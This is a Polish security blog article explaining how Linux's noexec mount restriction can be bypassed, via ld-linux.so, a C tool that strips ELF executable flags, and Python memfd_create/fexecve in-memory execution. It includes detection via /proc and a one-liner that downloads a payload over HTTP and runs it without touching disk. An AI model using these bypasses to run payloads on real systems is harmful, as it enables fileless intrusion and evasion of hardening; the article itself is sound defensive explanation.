NFsec Logo

Obchodzenie flagi montowania noexec za pomocą memfd

07/12/2019 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 711, ilość słów: 952)

W

historii rozwoju Linuksa znalazło się kilka sposobów na obejście ograniczeń montowania przez atakującego. Najprostszy był możliwy w Linuksie przed 2.4.25 / 2.6.0, gdzie opcję noexec można było ominąć używając /lib/ld-linux.so do wykonywania plików binarnych znajdujących się w ścieżkach takich systemów plików:

# mount /dev/sda1 /zip -o noexec
$ /zip/hello
$ /lib/ld-linux.so.2 /zip/hello
Hello, Moto!

Na pierwszy rzut oka można pomyśleć, że aby temu zaradzić wystarczy uczynić ld-config.so niemożliwym do wykonania (chmod -x /lib/ld-linux.so.2), ale spowodowałoby to, że wszystkie dynamicznie połączone pliki binarne były by niewykonalne. Mając świadomość, że prawie wszystkie programy, na których opiera się Linux, nie są połączone statycznie to opcja noexec wówczas była mało przydatna w Linuksie. W późniejszych jądrach (2.6.21 / 3.11) było to trudniejsze, ale nie niewykonalne. Wystarczyło użyć pośredniego programu o nazwie fixelf, który usuwał flagę PF_X (segment wykonalności) z nagłówków programów ELF:

/* fixelf.c - defeat noexec mount option */
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

char *program;

void err(char *s) {
	perror(s);
	exit(1);
}

void err1(char *s) {
	fprintf(stderr, "%s\n", s);
	exit(1);
}

int main(int argc, char **argv) {
	int fd, n, i;
	Elf32_Ehdr *eh;
	Elf32_Phdr *ph;
	struct stat s;

	if (argc != 2)
		err1("call: fixelf prog\n");

	fd = open(argv[1], O_RDONLY);
	if (fd < 0)
		err(argv[1]);

	if (fstat(fd, &s) < 0)
		err("stat");

	if ((program = malloc(s.st_size)) == NULL)
		err1("Out of memory");

	n = read(fd, program, s.st_size);
	if (n != s.st_size)
		err("read");

	eh = (Elf32_Ehdr *) program;

	if (eh->e_ident[EI_MAG0] != ELFMAG0 ||
	    eh->e_ident[EI_MAG1] != ELFMAG1 ||
	    eh->e_ident[EI_MAG2] != ELFMAG2 ||
	    eh->e_ident[EI_MAG3] != ELFMAG3)
		err1("bad ELF magic\n");

	for (i=0; i<eh->e_phnum; i++) {
		ph = (Elf32_Phdr *)(program + eh->e_phoff + i*eh->e_phentsize);
		ph->p_flags &= ~PF_X;
	}

	fd = open("fixelf.out", O_WRONLY | O_CREAT, 0777);
	if (fd < 0)
		err("fixelf.out");

	if (write(fd, program, n) != n)
		err("write");

	return 0;
}
gcc fixelf.c -o fixelf
$ /lib/ld-linux.so.2 /zip/hello
/zip/hello: error while loading shared libraries: /zip/hello: failed to map segment
            from shared object: Operation not permitted
$ ./fixelf /zip/hello
$ /lib/ld-linux.so.2 /zip/fixelf.out
Hello, Moto!

Jak jest dzisiaj? Jako przykład posłuży nam wcześniej użyty, prosty program “Hello, Moto!”, który postaramy uruchomić na Ubuntu 18.04 LTS (4.15.0-70-generic) i systemie plików /tmp z dodaną flagą noexec.

#include <stdio.h> 
int main() { 
           /* I am C developer */ 
           printf("Hello, Moto! \n");          
           return ; 
}
gcc hello.c -o /tmp/hello

Sprawdźmy opcję montowania dla systemu plików w /tmp:

agresor@darkstar:/tmp$ mount | grep '/tmp'
tmpfs on /tmp type tmpfs (rw,noexec,relatime)

Zgodnie z ustawieniem nasz użytkownik nie powinien mieć możliwości uruchomienia programu hello w tej lokalizacji:

agresor@agresor:/tmp$ ls -al hello
-rwxr-xr-x 1 agresor agresor 8304 Dec  6 20:17 hello
agresor@agresor:/tmp$ ./hello
-bash: ./hello: Permission denied

Wprowadźmy teraz do gry mały skrypt napisany w języku python, który za pomocą ctypes oraz memfd_create (syscall 319) mimo flagi montowania noexec wykona nasz program:

agresor@agresor:/tmp$ cat << EOF >> noexec.py
> from ctypes import *
> c = CDLL("libc.so.6")
> fd = c.syscall(319,"tempmem",0)
> c.sendfile(fd,0,0,0x7ffff000)
> c.fexecve(fd,byref(c_char_p()),byref(c_char_p()))
> print("fexecve failed")
> EOF
agresor@agresor:/tmp$ python3 noexec.py < hello
Hello, Moto!

Dlaczego tak prosty skrypt w języku python był w stanie ominąć flagę systemu plików? Otóż wywołanie systemowe memfd_create(2) dodane w wersji jądra 3.17 alokuje nowy tymczasowy system plików w pamięci RAM z standardowymi prawami dostępu tworząc wewnątrz plik, który nie pojawia się w żadnym podłączonym systemie plików oprócz /proc. Drugie wywołanie systemowe fexecve(3) dostępne od glibc 2.3.2 może za pomocą deskryptora przekazać plik do jądra w celu jego wykonania. Tak utworzony plik można łatwo znaleźć np. za pomocą polecenia find, ponieważ wszystkie pliki memfd_create są reprezentowane jako dowiązania symboliczne ze stałym prefiksem memfd. Przykład:

#!/usr/bin/python3

import ctypes
import ctypes.util
import time

libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c'))
fd = libc.syscall(319,b'agresor', 1)
assert fd >= 0
time.sleep(600)

W pierwszy oknie terminala uruchamiamy nasz skrypt:

chmod +x findme.py
./findme.py

A w drugim przeszukujemy /proc względem frazy /memfd w linku symbolicznym:

agresor@agresor:~$ find /proc/*/fd -lname '/memfd:*' 2> /dev/null
/proc/1506/fd/3
agresor@agresor:~$ ls -al /proc/1506/fd
total 0
dr-x------ 2 agresor agresor  0 Dec  7 14:12 .
dr-xr-xr-x 9 agresor agresor  0 Dec  7 14:12 ..
lrwx------ 1 agresor agresor 64 Dec  7 14:12 0 -> /dev/pts/1
lrwx------ 1 agresor agresor 64 Dec  7 14:12 1 -> /dev/pts/1
lrwx------ 1 agresor agresor 64 Dec  7 14:12 2 -> /dev/pts/1
lrwx------ 1 agresor agresor 64 Dec  7 14:12 3 -> '/memfd:agresor (deleted)'
agresor@agresor:~$ cat /proc/1506/cmdline
python3findme.py

Czyli za pomocą tej metody jesteśmy w stanie stworzyć jednolinijkowy skrypt, który uruchomi proces bez dotykania systemu plików systemu i ominie flagę noexec:

python3 -c 'import ctypes,ctypes.util,os,requests; \
libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c")); \
fd = libc.syscall(319,b"agresor",1); \
f2=open("/proc/self/fd/"+str(fd),"wb"); \
f2.write(requests.get("http://127.0.0.1:8000/exploit").content); \
f2.close();os.execv("/proc/self/fd/"+str(fd), [""])'

Zatem, czy flaga noexec ma w ogóle sens? Oczywiście. Nie jest to lekarstwo absolutne, ale używając flag montowania dla partycji i systemów plików możemy łatwo ograniczyć lub utrudnić potencjalne ataki opierające się na uruchamianiu prostych skryptów pobierających właściwy payload, które zostały wrzucone na system plików np. poprzez błędy bezpieczeństwa w webaplikacji. Dzisiaj bardzo rzadko można spotkać systemy produkcyjne, które oferują otwarty dostęp do powłok systemowych, a tym bardziej posiadają zainstalowane kompilatory umożliwiające uruchamianie dowolnego kodu. Dlatego najwięcej naruszeń systemu nadchodzi poprzez zewnętrzne aplikacje uruchomione na systemie.

Więcej informacji: Compile C Hello World Program, Python ctypes and memfd_create’ noexec File Security Bypass, Defeating the ‘noexec’ mount option, Executing payload without touching the filesystem (memfd_create syscall), ELF in-memory execution, In-Memory-Only ELF Execution (Without tmpfs)

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.